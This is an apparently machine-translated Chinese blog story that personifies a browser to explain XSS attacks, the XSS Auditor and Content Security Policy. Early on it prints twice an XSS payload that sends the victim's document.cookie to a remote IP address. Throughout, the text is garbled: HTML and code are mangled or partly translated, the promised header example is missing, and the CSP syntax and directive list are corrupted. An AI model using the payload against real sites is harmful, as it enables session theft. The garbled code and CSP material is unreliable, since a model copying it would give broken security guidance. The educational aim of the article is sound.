一个神秘 URL 酿大祸,差点让我背锅

作者|编程技术世界

颂歌

封闭地图| CSDN从视觉中国付费下载

神秘网址

我的名字叫小峰,我是视窗帝国的一名普通上班族。上次,我说我差点因为一个跨域请求而丢掉工作。幸运的是,没有危险。我的职业冒险还在继续。

“叮叮叮~ ~ ~ ~”,闹钟又把我吵醒了,我看到时间已经这么晚了。

我很快起床,准备去上班。我很难在那家浏览器公司找到工作,不敢迟到。

今天是又一个普通的日子。很快就到了深夜,互联网服务已经不多了。我和姐姐陈洁一起和负责网络连接的老白和负责存储的小黑打麻将。

连续几个回合后,公司的美容接待员跑过来说,“伙计们,不要玩了,互联网服务来了。老白,这是网址,在这里。”

我看了一眼网址,它看起来很奇怪。它不仅比我以前看到的要长,而且似乎还混合了一些JavaScript代码。

http://zone.oo.com/user/info.jsp?·desc = ' '/& gt。& lt脚本>。$(“正文”)。追加(' & ltimg src='http://192.168.59.129?c = ' '+escape(document . cookie)+' ' ' gt。')& lt/script>。& lt!-

“老白,这个网址长的奇怪吗?有什么问题吗?”,我问老白。

“嘿,你小子是新来的。我见过的网址比你执行的JS代码还多,我也没见过什么奇怪的东西,大惊小怪,”老白不屑一顾。

“每个人都盖上卡片,不要看它们。我们玩完了再玩,”老白继续说。

所以每个人都回到彼此身边,准备好处理这个单一的在线服务。

很快,老白检索到网址后面的网页,并把它交给肖雪进行分析和渲染。

雪在半路上拦住了我。“冯兄,还有一个——少尉;脚本>。轮到你贴标签了。我接过肖雪手里的网页,突然看了看。这不是刚刚出现在网址上的代码吗?你为什么又跑进了网页?

一种不好的感觉突然涌上我的心头。我很困惑。老白催促我,“肖雪小峰,你们两个,快点。网页已经加载了半天,还没有显示出来

我希望我有更多的想法,我开始执行这个<脚本>;标签中的代码。

& lt脚本>。

$(“正文”)。追加(' & ltimg src = ' http://192 . 168 . 59 . 129:10086?c= ' '

+ escape(document.cookie) +“”>)

& lt/script>。

我想创建一个新的。标签被添加到网页的正文中。看了这张照片的来源后,这是一个新地址。如果你再看,你需要把当前网站的Cookie作为一个参数来得到这张图片。

我去黑黑的仓库向他要饼干。

当我说我来的目的时,布莱基也有点谨慎。“根据公司规定,一个网站上的Cookie不允许被其他网站访问。”

“我当然知道这一点,但现在是这个网站的JS代码主动拿出Cookie并将其发送给其他人。这并不违反公司规定,”我解释道。

萧黑邹皱着眉头想了一下,同意了。

拿到饼干后,我做了一个完整的标签被添加到网页的DOM树中,然后肖雪继续渲染它。

网页很快被渲染并显示出来。忙完之后,我们继续未完成的比赛。

过了一会儿,人类终于关掉了浏览器,我们也可以下班了...

XSS跨站点脚本攻击

第二天一早,我一到公司,肖雪修女就转过头来对我说:“冯哥哥,主管让你去他的办公室。他似乎不太高兴。小心点。”

“你知道这是什么吗?”

"我不确定,但是我听说你执行了一些错误的JavaScript代码."

我的心很紧,我觉得有些不对劲。昨晚那个奇怪的代码有什么问题吗?

来到主任办公室,看见一个弟弟坐在里面。我轻轻地敲了敲门,问道:“主任,你想从我这里得到什么?”

当主管看到我过来时,他指了指旁边的沙发,示意我坐下。

“你有麻烦了,你知道吗?”领导扔给我一页文件。

我拿起文件,看到它赫然写着我昨晚执行的奇怪的JavaScript代码。

“主任,我不确定。有问题吗?”我低声问道。

主管指着旁边的弟弟说:“这是负责OO空网站的人。让他告诉你。”

肖哥点点头说:“嗯,我们发现有人盗用了我们网站上的曲奇,没有登录就直接访问了。在检查了日志之后,我们发现您在这里泄露了Cookie,所以我们想过来了解一下情况。”

“这个代码是你的网站自己的,我刚刚完成我的工作并执行它”,我开始感到有点紧张。

“但是我们的网站根本没有这个代码,不可能像这样把Cookie发给其他人,”弟弟也争辩道。

办公室的气氛变得有点紧张,现场陷入短暂的沉默。

正在这时,弟弟出去接电话了。

过了一会儿,小弟弟又回到了办公室,他的脸色突然缓和了许多,笑着说:“对不起,我刚接到同事的电话,说他们已经检查出了问题。这是因为我们的网站没有检查网址中的参数,而是直接把它写到网页中,并在JS代码中使用和传递。这应该与你无关,我真的很抱歉。”

听了这话,我松了一口气,几乎承担了责任。

回到车站,我把发生的事情告诉了每个人。

小雪听后呕吐道:“不要乱动那些奇怪的网址,它真的把我们搞砸了。”

“你看,你看,我昨晚感觉有点不对劲。这个坏蛋有很高的技能,能想出这样一个破坏性的策略。让我们给这次袭击取个名字吧,”布莱基说。"跨站点脚本攻击怎么样?"

老白点点头,“跨站脚本攻击,嗯,总结已经到位,那就用CSS来概括吧!”

听到这些,肖雪转过头说,“你的名字是CSS,那么我的层叠样式表不是要被重命名和替换吗?”

老白挠了挠头,有些不好意思,“哦,忘了这茬了。那就换成XSS。可以吗?”

我们都点点头,就这样定了。

XSS审计师

虽然这次事件的责任不在我们的浏览器,但我还是有点害怕。

那天晚上,我仔细回忆了那天的整个事件。

突然,一道亮光闪过我的脑海,我发现了一个重要的特征。

既然JS代码同时出现在请求的网址和响应的网页中,为什么不使用这个特性来进行目标拦截呢?

越想越难入睡,连夜写下了计划。

第二天,我来到公司,计划向主管汇报昨晚的计划,以获得一些业绩。

我再次来到主任办公室。当导演看到我时,他说:“小峰,别这样,我只是在找你。”

我快步走进去,看见主管拿出一叠文件,放在我面前。然后我说,“这是我得到的最高机密信息。这是一项来自隔壁Chrome浏览器公司的名为XSS审计员的技术。据说它可以防止像上次那样的攻击。你可以画空来研究它。”

我的大脑不知所措,我迅速浏览了文件。我没想到会碰上我的计划,它比我想象的更全面和详细。我不得不悄悄地放下最初的报道计划...

几天后,主管宣布我们也将使用这项技术来增强我们浏览器的安全性。

XSS仓储公司

“你听说了吗?XSS的攻击也发生在隔壁的Chrome浏览器公司,”一天中午老白神秘地说。

当我听到这些,我感到精神焕发。“没有XSS审计员吗?这怎么可能发生呢?”

“这一次坏人改变了战术。他们没有把JS代码放在网址里,所以XSS审计员自然找不到。”

"不在网址里,你把它放在哪里了?"

“据说它存在于数据库中。在访问网页时从数据库中读取它之后,它被直接填充到网页中。嗯,是这样的,”老白说着又画了一幅画。

顺便说一下,他们借此机会将XSS袭击分为两种类型。前一种通过网址直接将JS代码注入网页的方法叫做反射XSS,这次叫做存储XSS。”,老白继续说道:

我看了老白的照片,明白了,“这太残忍了。它存储在网站的数据库中,每个人都能成功访问该页面。”

“没那么糟糕,OO空网站已经乱七八糟了,它们正在进行内部整改。所有输入都经过彻底检查和过滤,以防止JS代码进入。”

“这种事情仍然需要他们自己的网站来检查,我们的浏览器帮不上忙,”小黑说。

经过多次谈话,每个人都分手了。

尽管小黑是对的,但我并没有被这个计划的最后一次失败所说服。这一次,如果我能一起想出另一个解决新XSS的方案,我将感到自豪。

一段时间后,我一有空闲,就开始思考这个问题,但没有进展。

CSP

这一天中午,没有工作要做。我又想起了这个问题。肖雪和他们组织打麻将。我不知道,拒绝了。

老白听到这个消息,说道,“小峰,你还在考虑那个问题。这两天你没看新闻吗?W3C标准化组织引进了一项新技术,解决了这个问题!”

老白的话像是当头一棒,“什么技术?如何解决它?”

“看看你。你每天闭门学习。你不知道外面的世界变化有多快。如果你想了解它,它可能被称为内容安全策略。哦,是的,就是这样。它简称为CSP。”

我很快就去询问了这项叫做CSP的新技术。看了拍大腿的镜头后,我没有想到这一点。

CSP指定了一个名为内容-安全-策略的消息,网站通过该消息告诉浏览器可以加载和执行哪些外部资源。这些信息可以显示为一个HTTP头,如下所示:

也可以通过< meta >标签显示如下:

& lt元http-equiv= '内容-安全-策略' '内容= '脚本-src ' self ';对象-src“none”;cdn.example.org·third-party.org;child-src https:“”& gt。至于里面的内容,它指出了所有可能加载外部资源的地方,浏览器可以知道加载相应资源的地址。如果资源所在的地址不在列表中,它将拒绝加载:

-script-src:external script-style-src:style sheet-img-src:image-media-src:media file(音频和视频)-font-src:font file-object-src:plug-in(例如闪存)-child-src:frame-frame-祖先:embedded external resources-con Nect-src:http连接(通过XHR、WebSockets、EventSource等)。)-worker-src:worker script-manifest-src:manifest文件(如img-src)包含self,则所有< img>。标签的src属性必须在当前网站中。如果加载了其他地址的图像,它们将被拒绝。

不仅如此,还提供了一个名为report-uri的字段。该字段的内容是服务器地址。当浏览器发现有不符合加载规则的资源时,除了拒绝加载之外,还可以向该地址报告,这样网站就可以及时知道警告。

多么完美的解决方案!没想到,这么多竞争对手已经使用了这项技术。

下午,我带老白去领导办公室,说服他在我们公司使用这项技术。

恼人的XSS袭击事件终于缓和了许多,我们很少有和平的时候。

待续...

鸡蛋

和平的日子没有持续多久。半个月后,我被迫关闭了我们的浏览器公司,因为我在执行一个JS代码后占用了太长时间的中央处理器。

执行JavaScript的工作越来越糟。

请关注未来。

程序员在这些地方输入代码,普通的笔记本根本无法携带。

愤怒的肝脏源代码8个月,我成为了一个春天的源代码贡献者

太可怕了!中央处理器已经成为黑客的帮凶

加里·马库斯:因果熵理论的荒谬性及认知科学对人工智能的11点启示

这10个云计算错误会毁了你的生意。

浩普科技结合区块链产业发展趋势,推出了“浩普区块链合作伙伴”项目。

发表评论

电子邮件地址不会被公开。 必填项已用*标注